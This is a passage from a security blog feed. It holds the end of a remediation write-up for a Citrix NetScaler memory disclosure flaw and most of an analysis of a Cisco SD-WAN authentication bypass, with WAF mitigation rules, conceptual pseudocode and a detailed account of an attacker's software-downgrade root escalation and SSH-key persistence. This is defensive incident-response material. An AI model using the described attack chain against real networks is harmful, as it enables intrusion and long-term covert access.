&lt;ol&gt;
  &lt;li&gt;&lt;strong&gt;Terminate all active sessions immediately after patching.&lt;/strong&gt; This invalidates any session tokens that may have been extracted via memory disclosure. Specifically, all &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;NSC_AAAC&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;NSC_TMAS&lt;/code&gt;, and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;NSC_TASS&lt;/code&gt; cookies must be invalidated. Force re-authentication for all users. Until sessions are terminated, stolen tokens remain valid regardless of patch status.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Rotate SAML signing certificates.&lt;/strong&gt; If SAML assertion signing keys were present in process memory (and they may have been), a leaked signing key allows an attacker to forge SAML assertions indefinitely, even after patching.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Rotate any credentials processed through the SAML IdP.&lt;/strong&gt; This includes LDAP bind credentials, service account passwords, and any other authentication material the IdP uses to validate users.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Review administrative access.&lt;/strong&gt; Audit all admin accounts, SSH keys, and access configurations on the NetScaler. If an attacker obtained an admin session, they may have created persistence mechanisms.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Review VPN user accounts.&lt;/strong&gt; Check for unauthorized local users or unexpected group memberships, particularly in SSL VPN groups.&lt;/li&gt;
&lt;/ol&gt;

&lt;h3 id=&quot;temporary-mitigations-if-patching-is-not-immediately-possible&quot;&gt;Temporary Mitigations (If Patching Is Not Immediately Possible)&lt;/h3&gt;

&lt;p&gt;There are no workarounds that fully remediate CVE-2026-3055. However, the following network-level controls can reduce exposure:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Restrict access to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/saml/login&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/wsfed/passive&lt;/code&gt; endpoints to known, trusted service provider IP addresses using ACLs or WAF rules&lt;/li&gt;
  &lt;li&gt;If WS-Federation is not actively used, block access to the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/wsfed/passive&lt;/code&gt; endpoint entirely&lt;/li&gt;
  &lt;li&gt;Implement WAF rules to drop GET requests to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/wsfed/passive?wctx&lt;/code&gt; that lack a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;=&lt;/code&gt; sign in the query parameter&lt;/li&gt;
  &lt;li&gt;Implement WAF rules to inspect and reject POST requests to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/saml/login&lt;/code&gt; where the decoded &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SAMLRequest&lt;/code&gt; XML is missing expected fields&lt;/li&gt;
  &lt;li&gt;Monitor &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;NSC_TASS&lt;/code&gt; cookie sizes in responses; abnormally large cookies indicate potential memory disclosure&lt;/li&gt;
&lt;/ul&gt;

&lt;hr /&gt;

&lt;h2 id=&quot;closing-assessment&quot;&gt;Closing Assessment&lt;/h2&gt;

&lt;p&gt;CVE-2026-3055 is the third critical memory disclosure vulnerability in Citrix NetScaler’s authentication path in thirty months. The first led to LockBit affiliates breaching major enterprises. The second saw sustained targeting throughout 2025. This third iteration follows the same pattern: memory overread on an internet-facing authentication edge, leaking session tokens in a response cookie, enabling unauthenticated session hijack.&lt;/p&gt;

&lt;p&gt;The vulnerability class has not changed. The product has not changed. The exploitation chain has not changed. Only the specific code path is different.&lt;/p&gt;

&lt;p&gt;What makes CVE-2026-3055 worth particular attention is the disclosure that a single CVE ID was assigned to at least two distinct memory overread primitives, and that watchTowr found additional memory overread vulnerabilities during their analysis that they reported separately. The implication is that the C codebase handling authentication request parsing on NetScaler appliances has a systemic problem with memory boundary validation. Individual patches address individual code paths, but the underlying architectural risk, complex authentication protocol parsing in C on a security-critical appliance, persists.&lt;/p&gt;

&lt;p&gt;Organizations running NetScaler as a SAML IdP need to patch immediately, terminate all active sessions, rotate credentials, and hunt for indicators of session hijack. Organizations that have patched but did not terminate sessions and rotate credentials are still at risk from tokens that may have been stolen before the patch was applied.&lt;/p&gt;

&lt;p&gt;For organizations making longer-term architectural decisions, CVE-2026-3055 should prompt a serious conversation about whether a network appliance vendor is the appropriate home for identity federation duties. Four critical memory disclosure vulnerabilities in the same authentication path, in the same product family, in thirty months, is not a trend line that inspires confidence. At some point, the question stops being “when will the next one drop” and starts being “why are we still here.”&lt;/p&gt;

&lt;p&gt;We will update this post if additional exploitation details, IOCs, or vendor guidance emerge.&lt;/p&gt;

&lt;hr /&gt;

&lt;h2 id=&quot;references&quot;&gt;References&lt;/h2&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://support.citrix.com/support-home/kbsearch/article?articleNumber=CTX696300&amp;amp;ref=https://gottlabs.github.io/home/&quot;&gt;Citrix Security Bulletin CTX696300&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://labs.watchtowr.com/the-sequels-are-never-as-good-but-were-still-in-pain-citrix-netscaler-cve-2026-3055-memory-overread/?ref=https://gottlabs.github.io/home/&quot;&gt;watchTowr Labs - CVE-2026-3055 Part 1: The Sequels Are Never As Good&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://labs.watchtowr.com/please-we-beg-just-one-weekend-free-of-appliances-citrix-netscaler-cve-2026-3055-memory-overread-part-2/?ref=https://gottlabs.github.io/home/&quot;&gt;watchTowr Labs - CVE-2026-3055 Part 2: Please, We Beg, Just One Weekend Free&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.rapid7.com/blog/post/etr-cve-2026-3055-citrix-netscaler-adc-and-netscaler-gateway-out-of-bounds-read/?ref=https://gottlabs.github.io/home/&quot;&gt;Rapid7 - CVE-2026-3055: Citrix NetScaler ADC and NetScaler Gateway Out-of-Bounds Read&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.bleepingcomputer.com/news/security/critical-citrix-netscaler-memory-flaw-actively-exploited-in-attacks/?ref=https://gottlabs.github.io/home/&quot;&gt;BleepingComputer - Critical Citrix NetScaler memory flaw actively exploited in attacks&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.cisa.gov/news-events/alerts/2026/03/30/cisa-adds-one-known-exploited-vulnerability-catalog/?ref=https://gottlabs.github.io/home/&quot;&gt;CISA - Known Exploited Vulnerabilities Catalog: CVE-2026-3055&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://arcticwolf.com/resources/blog/cve-2026-3055/?ref=https://gottlabs.github.io/home/&quot;&gt;Arctic Wolf - CVE-2026-3055&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://digital.nhs.uk/cyber-alerts/2026/cc-4759/?ref=https://gottlabs.github.io/home/&quot;&gt;NHS England - Citrix Releases Critical Security Updates for NetScaler ADC and NetScaler Gateway&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.picussecurity.com/resource/blog/cve-2026-3055-cve-2026-4368-inside-the-netscaler-citrixbleed-3-memory-overread/?ref=https://gottlabs.github.io/home/&quot;&gt;Picus Security - CVE-2026-3055 &amp;amp; CVE-2026-4368: Inside the NetScaler CitrixBleed 3 Memory Overread&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://thehackernews.com/2026/03/citrix-netscaler-under-active-recon-for.html/?ref=https://gottlabs.github.io/home/&quot;&gt;The Hacker News - Citrix NetScaler Under Active Recon for CVE-2026-3055&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.helpnetsecurity.com/2026/03/24/netscaler-adc-gateway-cve-2026-3055/?ref=https://gottlabs.github.io/home/&quot;&gt;Help Net Security - Critical NetScaler ADC, Gateway flaw may soon be exploited&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://horizon3.ai/attack-research/vulnerabilities/cve-2026-3055/?ref=https://gottlabs.github.io/home/&quot;&gt;Horizon3.ai - CVE-2026-3055 Citrix NetScaler Memory Overread&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
</description>
        <pubDate>Sun, 19 Apr 2026 00:00:00 +0000</pubDate>
        <link>https://danielgott.me/2026/04/19/netscaler_cve2026-3055/</link>
        <guid isPermaLink="true">https://danielgott.me/2026/04/19/netscaler_cve2026-3055/</guid>
        
        <category>CVE-2026-3055</category>
        
        <category>CVE-2026-4368</category>
        
        <category>citrix</category>
        
        <category>vulnerability</category>
        
        <category>forensics</category>
        
      </item>
    
      <item>
        <title>CVE-2026-20127: Cisco Catalyst SD-WAN Authentication Bypass</title>
        <description>&lt;h2 id=&quot;the-vulnerability&quot;&gt;The Vulnerability&lt;/h2&gt;

&lt;p&gt;CVE-2026-20127 is a CVSS 10.0 authentication bypass vulnerability in the peering authentication mechanism of Cisco Catalyst SD-WAN Controller (formerly vSmart) and Cisco Catalyst SD-WAN Manager (formerly vManage). The flaw is classified under CWE-287 (Improper Authentication) and allows an unauthenticated, remote attacker to bypass the peering authentication process entirely and obtain administrative privileges on an affected system.&lt;/p&gt;

&lt;p&gt;A perfect ten. No credentials needed. No user interaction required. Attack complexity: low. And critically, the scope is marked as “Changed,” meaning a successful exploit doesn’t just compromise the controller itself, it gives an attacker leverage over the entire SD-WAN fabric those controllers manage.&lt;/p&gt;

&lt;p&gt;To understand why this is so bad, you have to understand what a Catalyst SD-WAN Controller actually does. The Controller is the brain of the SD-WAN overlay. It uses the Overlay Management Protocol (OMP) to distribute routing intelligence, push security policy, manage WAN path selection, and distribute encryption keys to every edge device in the fabric. When you own the Controller, you own the network map. You control what talks to what, how traffic is routed, and what policies are enforced.&lt;/p&gt;

&lt;p&gt;The bug sits in how the SD-WAN control components validate inbound peering connections. When a new peer attempts to establish a control connection, there is an authentication handshake that is supposed to occur. In vulnerable versions, that handshake is broken. A crafted request bypasses the expected validation and results in the attacker being logged in as a high-privileged internal user account (non-root, but we will get to the root escalation in a moment). From there, the attacker lands directly on NETCONF, the protocol used to push configuration changes across the fabric.&lt;/p&gt;

&lt;p&gt;NETCONF access on a Catalyst SD-WAN Controller is the skeleton key. Every edge device in the deployment trusts the controller. With that trust relationship in hand, an attacker can manipulate routing tables, modify policies, redirect traffic, and establish persistence across the entire WAN.&lt;/p&gt;

&lt;hr /&gt;

&lt;h2 id=&quot;timeline-and-active-exploitation&quot;&gt;Timeline and Active Exploitation&lt;/h2&gt;

&lt;p&gt;Here is where this gets uncomfortable for everyone who thought their SD-WAN was quietly doing its job.&lt;/p&gt;

&lt;p&gt;Cisco published the advisory on February 25, 2026, in coordination with the Australian Signals Directorate’s Australian Cyber Security Centre (ASD’s ACSC), who was credited with reporting the vulnerability. The same day, Cisco Talos published a blog attributing active exploitation to a cluster they track as UAT-8616, assessed with high confidence as a highly sophisticated threat actor.&lt;/p&gt;

&lt;p&gt;The part that should make you pause: Talos telemetry shows exploitation activity going back at least three years, to 2023. This was not a vulnerability discovered and immediately weaponized. This was a vulnerability that was apparently discovered, weaponized, and kept quiet for years while the actor worked through targets at their leisure. When exploitation dates back to 2023 and public discovery happens in late 2025, that multi-year gap describes controlled, deliberate operations, not opportunistic scanning.&lt;/p&gt;

&lt;p&gt;Key dates in the disclosure chain:&lt;/p&gt;

&lt;ul class=&quot;timeline&quot;&gt;
  &lt;li&gt;&lt;strong&gt;2023 (estimated):&lt;/strong&gt; Earliest known exploitation activity per Talos telemetry&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Late 2025:&lt;/strong&gt; Exploitation discovered by intelligence partners, incident response begins&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;February 25, 2026:&lt;/strong&gt; Coordinated disclosure from Cisco, ACSC, NCSC, CISA, Cyber Centre (Canada), NSA, and NCSC-NZ&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;February 25, 2026:&lt;/strong&gt; CISA issues Emergency Directive 26-03, requiring Federal Civilian Executive Branch agencies to patch by February 27, 2026&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;February 25, 2026:&lt;/strong&gt; Talos publishes UAT-8616 threat cluster attribution&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;February 27, 2026 (estimated):&lt;/strong&gt; Release 20.9.8.2, the last outstanding fixed release&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The coordinated multi-agency disclosure, the Emergency Directive, the Five Eyes involvement, and the CISA characterization of this as posing “imminent risk to federal networks” tells you everything about how this was assessed behind closed doors.&lt;/p&gt;

&lt;p&gt;No public proof-of-concept existed as of initial disclosure. That buys defenders a window, but it is a shrinking one.&lt;/p&gt;

&lt;hr /&gt;

&lt;h2 id=&quot;affected-versions-and-patch-status&quot;&gt;Affected Versions and Patch Status&lt;/h2&gt;

&lt;p&gt;The vulnerability affects Cisco Catalyst SD-WAN Controller and Cisco Catalyst SD-WAN Manager across all deployment types: on-premises, Cisco Hosted SD-WAN Cloud, Cisco Hosted SD-WAN Cloud - Cisco Managed, and the FedRAMP environment. It is not configuration-dependent. If you are running a vulnerable version, you are vulnerable.&lt;/p&gt;

&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Cisco Catalyst SD-WAN Release&lt;/th&gt;
      &lt;th&gt;Fixed Version&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;Earlier than 20.9&lt;/td&gt;
      &lt;td&gt;Migrate to a supported release&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;20.9&lt;/td&gt;
      &lt;td&gt;20.9.8.2 (estimated February 27, 2026)&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;20.11 (EoSM)&lt;/td&gt;
      &lt;td&gt;20.12.6.1&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;20.12.5&lt;/td&gt;
      &lt;td&gt;20.12.5.3&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;20.12.6&lt;/td&gt;
      &lt;td&gt;20.12.6.1&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;20.13 (EoSM)&lt;/td&gt;
      &lt;td&gt;20.15.4.2&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;20.14 (EoSM)&lt;/td&gt;
      &lt;td&gt;20.15.4.2&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;20.15&lt;/td&gt;
      &lt;td&gt;20.15.4.2&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;20.16 (EoSM)&lt;/td&gt;
      &lt;td&gt;20.18.2.1&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;20.18&lt;/td&gt;
      &lt;td&gt;20.18.2.1&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

&lt;p&gt;Releases marked EoSM (End of Software Maintenance) have fixed versions available but Cisco strongly encourages migration to a currently supported release. Releases earlier than 20.9 require migration entirely. There is no patch for end-of-life versions, and the advisory is explicit: there are no workarounds that fully address the vulnerability.&lt;/p&gt;

&lt;p&gt;One thing worth calling out: the Cisco Hosted SD-WAN Cloud and FedRAMP-managed deployments listed as “guardrails are in place” in the advisory’s mitigation table. That is good for managed customers, but on-premises deployments and self-managed cloud deployments are entirely on the customer to address.&lt;/p&gt;

&lt;hr /&gt;

&lt;h2 id=&quot;proof-of-concept-details&quot;&gt;Proof of Concept Details&lt;/h2&gt;

&lt;p&gt;As of initial disclosure on February 25, 2026, no public proof-of-concept had been published. Cisco’s Snort rules 65938 and 65958 were released alongside the advisory, providing detection coverage for known exploitation patterns. Tenable noted at time of writing that if a PoC drops, expect a rapid shift from targeted exploitation by sophisticated actors to mass scanning and spray-and-pray exploitation.&lt;/p&gt;

&lt;p&gt;That is the arc every publicly disclosed auth bypass follows. Right now the exploitation is deliberate and targeted. When a PoC lands, the noise floor rises significantly and defenders lose the relative luxury of distinguishing targeted compromise from opportunistic scanning.&lt;/p&gt;

&lt;p&gt;The conceptual exploitation flow looks like this:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;# Simplified representation of the vulnerability
def sdwan_peering_handshake(peer_connection):
    # Intended flow: validate peer identity before granting access
    peer_identity = extract_peer_identity(peer_connection)
    
    # Bug: validation mechanism is not functioning correctly
    # Crafted requests can bypass this check
    if validate_peer_auth(peer_identity):  # &amp;lt;- broken, can be bypassed
        grant_access(peer_connection, privilege_level=&quot;high&quot;)
        return open_netconf_session(peer_connection)
    else:
        reject_connection(peer_connection)
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The attacker’s goal at this stage is simple: land as the internal high-privileged user and get a NETCONF session open. Everything else follows from that.&lt;/p&gt;

&lt;hr /&gt;

&lt;h2 id=&quot;technical-exploitation-analysis&quot;&gt;Technical Exploitation Analysis&lt;/h2&gt;

&lt;p&gt;To understand the vulnerability, you need to understand how Cisco Catalyst SD-WAN establishes and maintains its control plane.&lt;/p&gt;

&lt;h3 id=&quot;the-sd-wan-control-plane-architecture&quot;&gt;The SD-WAN Control Plane Architecture&lt;/h3&gt;

&lt;p&gt;The Catalyst SD-WAN fabric relies on several components working together:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;strong&gt;SD-WAN Controller (vSmart):&lt;/strong&gt; Manages OMP routing sessions, distributes policies and encryption keys to edge devices (vEdge/cEdge), and acts as the centralized routing intelligence&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;SD-WAN Manager (vManage):&lt;/strong&gt; Provides the management plane, configuration orchestration, and the web UI. Also hosts NETCONF&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;SD-WAN Validator (vBond):&lt;/strong&gt; Facilitates initial orchestration and authentication for new devices joining the fabric&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Edge Devices (vEdge/cEdge):&lt;/strong&gt; The WAN routers that implement policy delivered by the controller&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Controllers and Managers form peer relationships with each other and with edge devices. These peering relationships are how the control plane stays synchronized. The OMP runs over DTLS or TLS tunnels established after a successful peer authentication handshake.&lt;/p&gt;

&lt;h3 id=&quot;the-peering-authentication-mechanism&quot;&gt;The Peering Authentication Mechanism&lt;/h3&gt;

&lt;p&gt;When a new peer connection is initiated, the connecting component is expected to prove its identity before being allowed to establish an OMP or NETCONF session. This normally involves certificate-based mutual authentication. The vulnerability is that this validation mechanism is not functioning correctly on affected versions.&lt;/p&gt;

&lt;p&gt;The precise technical root cause has not been publicly detailed by Cisco beyond “the peering authentication mechanism in an affected system is not working properly.” What Talos and government partners have confirmed through incident response is the observable outcome: crafted requests bypassing the handshake and resulting in authenticated access as the internal &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;vmanage-admin&lt;/code&gt; equivalent user.&lt;/p&gt;

&lt;p&gt;Once that bypass lands, the attacker is in as a high-privileged non-root account. The immediate value here is NETCONF access.&lt;/p&gt;

&lt;h3 id=&quot;netconf-as-the-exploitation-target&quot;&gt;NETCONF as the Exploitation Target&lt;/h3&gt;

&lt;p&gt;NETCONF (Network Configuration Protocol) over SSH is the primary programmatic interface for pushing configuration to Catalyst SD-WAN devices. It runs on port 830. With an authenticated NETCONF session on the Manager or Controller, an attacker can:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Query the full fabric topology and device inventory&lt;/li&gt;
  &lt;li&gt;Push configuration changes to edge devices across the entire SD-WAN deployment&lt;/li&gt;
  &lt;li&gt;Modify routing policy, traffic steering rules, and zone-based firewall policies&lt;/li&gt;
  &lt;li&gt;Add or modify VPN configurations&lt;/li&gt;
  &lt;li&gt;Create user accounts and SSH authorized keys for persistence&lt;/li&gt;
  &lt;li&gt;Manipulate data plane behavior across all connected edge devices&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;A quick illustration of what NETCONF interaction looks like from an attacker’s perspective once access is obtained:&lt;/p&gt;

&lt;div class=&quot;language-xml highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c&quot;&gt;&amp;lt;!-- Example NETCONF RPC to query running configuration --&amp;gt;&lt;/span&gt;
&lt;span class=&quot;nt&quot;&gt;&amp;lt;rpc&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;message-id=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;101&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;xmlns=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;urn:ietf:params:xml:ns:netconf:base:1.0&quot;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;&amp;gt;&lt;/span&gt;
  &lt;span class=&quot;nt&quot;&gt;&amp;lt;get-config&amp;gt;&lt;/span&gt;
    &lt;span class=&quot;nt&quot;&gt;&amp;lt;source&amp;gt;&lt;/span&gt;
      &lt;span class=&quot;nt&quot;&gt;&amp;lt;running/&amp;gt;&lt;/span&gt;
    &lt;span class=&quot;nt&quot;&gt;&amp;lt;/source&amp;gt;&lt;/span&gt;
  &lt;span class=&quot;nt&quot;&gt;&amp;lt;/get-config&amp;gt;&lt;/span&gt;
&lt;span class=&quot;nt&quot;&gt;&amp;lt;/rpc&amp;gt;&lt;/span&gt;

&lt;span class=&quot;c&quot;&gt;&amp;lt;!-- Response includes full fabric configuration, device inventory,
     routing policies, credentials, and topology data --&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;That is the entire network’s configuration delivered in response to a single authenticated request. From a post-exploitation standpoint, this is extraordinary reach.&lt;/p&gt;

&lt;h3 id=&quot;uat-8616s-observed-exploitation-chain&quot;&gt;UAT-8616’s Observed Exploitation Chain&lt;/h3&gt;

&lt;p&gt;Talos and intelligence partners documented the actual exploitation chain as observed in the wild. This is more interesting than just the auth bypass itself.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Stage 1: Initial Access via CVE-2026-20127&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;The actor sends crafted requests to an internet-exposed SD-WAN Controller or Manager, bypasses the peering authentication, and obtains the high-privileged non-root account session. The first observable artifact here is an unauthorized control connection peering event in the VDAEMON logs, appearing as a new &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;vmanage&lt;/code&gt; peer type coming from an unexpected IP:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;Feb 20 22:03:33 vSmart-01 VDAEMON_0[2571]: %Viptela-vSmart-VDAEMON_0-5-NTCE-1000001:
control-connection-state-change new-state:up peer-type:vmanage
peer-system-ip:1.1.1.10 public-ip:192.168.3.20 public-port:12345
domain-id:1 site-id:1005
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;Stage 2: Rogue Peer Addition&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;With administrative access, the actor adds a malicious rogue peer to the SD-WAN fabric configuration. This establishes a persistent, attacker-controlled node within the control plane. The rogue peer looks like a legitimate part of the network to the Controller’s perspective.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Stage 3: Root Escalation via Software Version Downgrade&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;This is the clever part, and it is worth dwelling on because it shows how well UAT-8616 understood this platform.&lt;/p&gt;

&lt;p&gt;The non-root high-privileged account obtained through CVE-2026-20127 is powerful but not root. To get there, the actor reaches back to a pair of older Cisco SD-WAN vulnerabilities that were patched years ago but remain exploitable on older software versions: CVE-2022-20775 and CVE-2022-20776.&lt;/p&gt;

&lt;p&gt;CVE-2022-20775 is a path traversal vulnerability in the web-based management interface of Cisco SD-WAN. An authenticated attacker can read arbitrary files on the underlying operating system by sending crafted HTTP requests, with path traversal strings embedded in the username field or request parameters. CVE-2022-20776 is a companion privilege escalation vulnerability in the same interface that allows an authenticated attacker to escalate to root by sending specially crafted HTTP requests. Both were patched in 2022 but fixed releases are irrelevant to an attacker who can choose which version is running.&lt;/p&gt;

&lt;p&gt;The technique works like this: using the administrative access obtained through CVE-2026-20127, the actor downgrades the SD-WAN software to a version where CVE-2022-20775 and CVE-2022-20776 are still present and exploitable. The actor then uses those vulnerabilities to escalate to root. Once root is achieved, the actor upgrades the device back to the original software version, erasing the version that made the escalation possible.&lt;/p&gt;

&lt;p&gt;The device ends up back on the version it started on. From a version check perspective, nothing looks wrong.&lt;/p&gt;

&lt;p&gt;Talos’ language on this technique is worth quoting accurately: Talos and intelligence partners assessed that the actor “likely” escalated to root via the version downgrade path, based on intelligence partner findings rather than direct Talos forensic reconstruction. That qualifier matters for formal incident assessments. The technique is consistent with all observed artifacts and is the most operationally coherent explanation, but organizations should note that it is an intelligence-derived assessment rather than a confirmed forensic chain.&lt;/p&gt;

&lt;p&gt;On February 25, 2026, CISA added both CVE-2022-20775 and CVE-2022-20776 to the Known Exploited Vulnerabilities catalog alongside CVE-2026-20127. The simultaneous KEV addition of both older vulnerabilities is a strong signal that active exploitation of the chained technique was confirmed across multiple victim investigations, not just theorized.&lt;/p&gt;

&lt;p&gt;The version downgrade and subsequent revert is detectable if you know what to look for. The logs will show an unexpected version transition with associated reboot:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;Waiting for upgrade confirmation from user. Device will revert to
previous software version &amp;lt;version&amp;gt; in &apos;100&apos; seconds unless confirmed.
Software upgrade not confirmed. Reverting to previous software version
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;An unexpected version downgrade/upgrade sequence accompanied by a system reboot, with no corresponding change management ticket, is a significant indicator of compromise. The critical forensic detail here is timing: the window between the downgrade and the reupgrade may be short. If log forwarding to an external SIEM was not capturing that window, the only remaining evidence is the transition events themselves, not the exploitation activity that occurred between them.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Stage 4: Persistence&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;With root access, the actor establishes long-term persistence. Observed mechanisms include unauthorized SSH keys added to the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;vmanage-admin&lt;/code&gt; or root accounts, unauthorized user account creation (with subsequent deletion to reduce artifacts), and sshd configuration changes enabling &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;PermitRootLogin&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;The delete-after-create pattern for user accounts is worth calling out specifically because it is a noise reduction technique. The account gets created to do work, then deleted to reduce the forensic footprint. The creation event may exist in logs. The deletion event may exist in logs. What the account actually did between creation and deletion may not.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Stage 5: Long-Term Fabric Access&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;With persistent root-level access to the Controller and rogue peer relationships established, the actor maintains ongoing visibility into and control over the SD-WAN fabric. Routing manipulation, traffic inspection, lateral movement into connected network segments, and reconnaissance of connected infrastructure all become possible from this position.&lt;/p&gt;

&lt;p&gt;Talos assessed UAT-8616 with high confidence as targeting critical infrastructure sectors specifically. The patient, multi-year operational timeline is consistent with a nation-state backed actor conducting long-term strategic access operations rather than financially motivated intrusion.&lt;/p&gt;

&lt;hr /&gt;

&lt;h2 id=&quot;considerations-and-limitations-forensics-in-practice&quot;&gt;Considerations and Limitations: Forensics in Practice&lt;/h2&gt;

&lt;p&gt;This is the section where we talk about what actually helps you and what sounds good on a slide but falls apart in a real investigation.&lt;/p&gt;

&lt;h3 id=&quot;what-the-attacker-does-not-leave-behind&quot;&gt;What the Attacker Does NOT Leave Behind&lt;/h3&gt;

&lt;p&gt;The exploitation itself, the peering authentication bypass, generates a control connection event in the VDAEMON logs. It does NOT generate a traditional failed authentication event because the attacker is not failing, they are succeeding through a broken validation path. There is no “authentication failure” log to alert on. There is just a new peer connection from an unexpected IP address, which looks structurally similar to a legitimate peer event.&lt;/p&gt;

&lt;p&gt;The version downgrade technique used for root escalation is particularly forensically hostile. The actor downgrades, exploits CVE-2022-20775 to get root, then upgrades back. If log retention is short, the window of the downgrade may not be captured. If SIEM forwarding is not configured, those logs may only exist locally and are vulnerable to manipulation by an attacker who now has root access.&lt;/p&gt;

&lt;p&gt;SSH authorized_keys modification at the root level is a favorite persistence mechanism precisely because it is often not monitored. An extra public key in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/root/.ssh/authorized_keys&lt;/code&gt; or &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/home/vmanage-admin/.ssh/authorized_keys&lt;/code&gt; gives indefinite access with no further vulnerability required. It looks like nothing in passive monitoring.&lt;/p&gt;

&lt;h3 id=&quot;what-we-have-seen-in-the-wild&quot;&gt;What We Have Seen in the Wild&lt;/h3&gt;

&lt;p&gt;Per Talos and the government advisories, the following artifacts have been observed in compromised environments:&lt;/p&gt;

&lt;ul&gt;
